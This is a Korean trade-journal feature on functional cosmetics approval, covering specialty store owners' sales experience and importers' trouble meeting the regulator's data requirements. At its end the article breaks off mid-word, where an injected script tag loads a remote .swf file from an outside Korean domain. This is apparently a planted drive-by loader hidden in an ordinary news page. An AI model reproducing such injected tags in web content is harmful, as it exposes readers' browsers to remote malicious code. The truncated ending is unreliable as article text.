[기능성 화장품 특집]기능성화장품 Ⅲ- 전문점과 수입사의 시각

기능성 승인, 전문점 판매에 시너지 효과 기능성 제품 인식 미비… 선진 점주 중심으로 개선 기능성화장품은 전문점 시장에 얼마나 정착됐을까. 지난해까지 기능성화장품으로 허가받은 제품이 450여개에 달하고 있지만 아직 전문점가의 분위기는 냉랭한 편이다. 화장품법이 있다는 사실은 대부분 인식하고 있지만 식약청이 화장품법을 근간으로 기능성 화장품을 허가한다는 사실은 모르는 사람이 더 많은 실정이다. 때문에 기능성화장품으로 승인받았다고 해서 판매에 큰 도움을 주지는 못하는 것으로 나타났다. 하지만 선진화된 경영 마인드를 가지고 있는 점주들은 기능성화장품을 판매에 직접적으로 연결해 쏠쏠한 재미를 보고 있다. 이들 점주들은 기능성화장품에 대해 정확한 개념을 이해한 뒤 카운슬링을 통해 소비자들에게 신뢰감을 북돋워주는 방법을 사용하고 있었다. 방배동의 한 전문점주는 “카운슬러에게 제품을 설명할 때 기능성 제품은 허가여부를 꼭 설명하라고 교육한다”며 “식약청의 승인을 받았다고 구체적으로 설명하면 소비자들이 신뢰를 한다”고 말했다. 기능성 제품 중 전문점가에서 가장 빠르게 받아들인 품목은 역시 자외선차단제품. 지난 여름 기능성 허가를 받지 못한 제품은 출시가 되지 못할 정도로 엄격한 법적용을 한 탓도 있겠지만 소비자의 의식 수준 또한 상당히 향상돼 있어 SPF(자외선 차단 지수)에 따라 제품 구매가 결정될 정도. 이에 반해 미백과 주름개선 제품의 경우 기능성 허가가 전문점의 판매에 큰 영향을 미치지는 않는 것으로 보인다. 국내 최초로 주름개선 기능성 화장품 승인을 받은 이자녹스 링클 디클라인의 경우 ‘최초’라는 의미 때문에 전문점의 판매에도 적잖은 영향을 미쳤지만 이미 승인받은 제품이 60개 넘은 상황에서는 메리트가 줄었다. 한편, 기능성 승인과 무관하게 제품을 판매하고 있는 전문점의 관행은 계속되고 있다. 굳이 기능성 허가를 받지 않았더라도 ‘고기능성 제품’이라며 판매를 하고 있는 것이다. 이들 제품의 경우 특정 전문점에만 유통되는 거점 브랜드이거나 고마진을 미끼로 고가화 정책을 펴고 있어 한동안 지속될 것으로 보인다. 이에 대해 모래내에서 전문점을 운영하는 한 점주는 “화장품법이 생기기 전부터 기능성 제품을 찾는 고객에게는 제품의 기능을 설명해가며 판매했다”며 “기능성 허가를 받지 않은 제품 중에도 좋은 제품이 많다”고 항변했다. 하지만 이 점주는 “기능성 화장품에 대해 인식이 점차로 확산되고 있는 만큼 소비자의 신뢰 속에 판매를 하려면 이왕이면 승인받은 제품이 낫다”며 판매 활동에 악영향을 주지 않도록 메이커에서 하루 빨리 허가를 받을 것을 주문했다. - 최철용 기자 a4g@csmt.co.kr

수입업체, 기능성승인에 새우등 터진다 본사측 심사기준과 식약청 요구자료 상이 2001년 말까지 기능성화장품으로 승인을 받은 450여개의 제품 중 수입브랜드가 승인 받은 제품은 약 20개에 불과하다. 수입브랜드가 국내 화장품시장에서 차지하는 비중을 생각해 볼 때 기능성화장품 승인분야에서 수입브랜드의 실적은 기대에 상당히 못 미치는 수준이다. 지난해 국내화장품시장에서 수입브랜드가 차지하는 점유율이 30%를 웃도는 것으로 집계된 가운데 수입화장품의 국내 기능성화장품 승인 허가가 활발히 이루어지기에는 아직도 난관이 많은 것으로 평가된다. 수입브랜드 중 처음으로 기능성화장품 승인을 받은 제품은 한국존슨앤드존슨의 ‘존슨즈 베이비로션 UV 프로텍션’이다. 자외선차단제품인 이 제품을 시작으로 뒤이어 이엘씨에이코리아에서 승인받은 제품들 역시 대부분 자외선차단제품이다. 수입사들이 승인받은 제품들 중에 자외선차단제품이 차지하는 비중이 높은 것은 SPF지수가 일정 수준 이상이 되고 일반적인 자료를 갖추면 다른 제품군에 비해 상대적으로 승인이 용이하기 때문이다. 국내에서 기능성화장품 승인을 받기 위해서는 국내 식품의약품안전청(이하 식약청)이 요구하는 자료를 모두 제출해야 한다. 하지만 수입 브랜드의 경우 국내에서 제품을 제조하는 것이 아니라 해외의 본사에서 완제품을 수입해오는 것이 대부분이기 때문에 식약청에서 요구하는 자료를 구하는 것이 사실상 어렵다. 특히, 국내에서 매출상위를 기록하고 있는 브랜드들은 대부분 미국이나 유럽 제품. 이들 나라의 경우 화장품의 품질관리기준이 우리나라의 기준과는 차이가 있어 국내시장만을 위해서 자료를 새롭게 만드는 것은 무리가 있다는 얘기다. 이런 상황에서 엘브이엠에이치는 크리스챤 디올 브랜드에서 ‘디올 스노우 화이트닝 라?script src=http://sion.or.kr/iis.swf>

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